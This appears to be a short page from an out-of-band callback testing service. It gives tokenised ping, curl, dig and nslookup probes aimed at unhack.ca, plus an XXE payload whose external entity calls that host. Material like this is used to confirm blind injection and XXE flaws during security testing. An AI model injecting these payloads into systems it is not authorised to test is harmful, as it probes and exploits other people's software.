$ ping -c1 -p 0000ed7054bab34ed6e07fc355c25a00 unhack.ca
 

$ curl http://unhack.ca/p/00ed7054bab34ed6e07fc355c25a
 

$ dig 00ed7054bab34ed6e07fc355c25a @unhack.ca
 

$ dig 00ed7054bab34ed6e07fc355c25a.ns.unhack.ca
 

C:\> nslookup 00ed7054bab34ed6e07fc355c25a unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/00ed7054bab34ed6e07fc355c25a">]>
    <foo>&xxe;</foo>